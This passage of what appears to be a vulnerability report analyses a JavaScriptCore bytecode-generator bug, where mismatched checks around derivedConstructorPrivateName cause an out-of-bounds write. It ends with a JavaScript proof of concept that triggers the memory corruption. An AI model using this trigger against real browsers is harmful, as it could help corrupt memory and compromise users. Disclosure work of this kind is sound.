    if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
        if (isSuperUsedInInnerArrowFunction()) {
            ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);
            
            Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
            emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
        }
    }
}

|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.

void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
{
    ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);

    if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
        ...
        if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
            offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
            functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
        }
        ...
    }
    ...
}

But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.

BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())

BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
    if (isSuperUsedInInnerArrowFunction()) {

Note: " || m_codeBlock->isClassContext()".

So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.

PoC:
*/

let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');

let gun = eval(`(function () {
    class A {

    }

    class B extends A {
        constructor(${args}) {
            () => {
                ${args};
                super();
            };

            class C {
                constructor() {
                }

                trigger() {
                    (() => {
                        super.x;
                    })();
                }
            }

            return new C();
        }
    }

    return new B();
})()`);

for (let i = 0; i < 0x10000; i++)
    gun.trigger();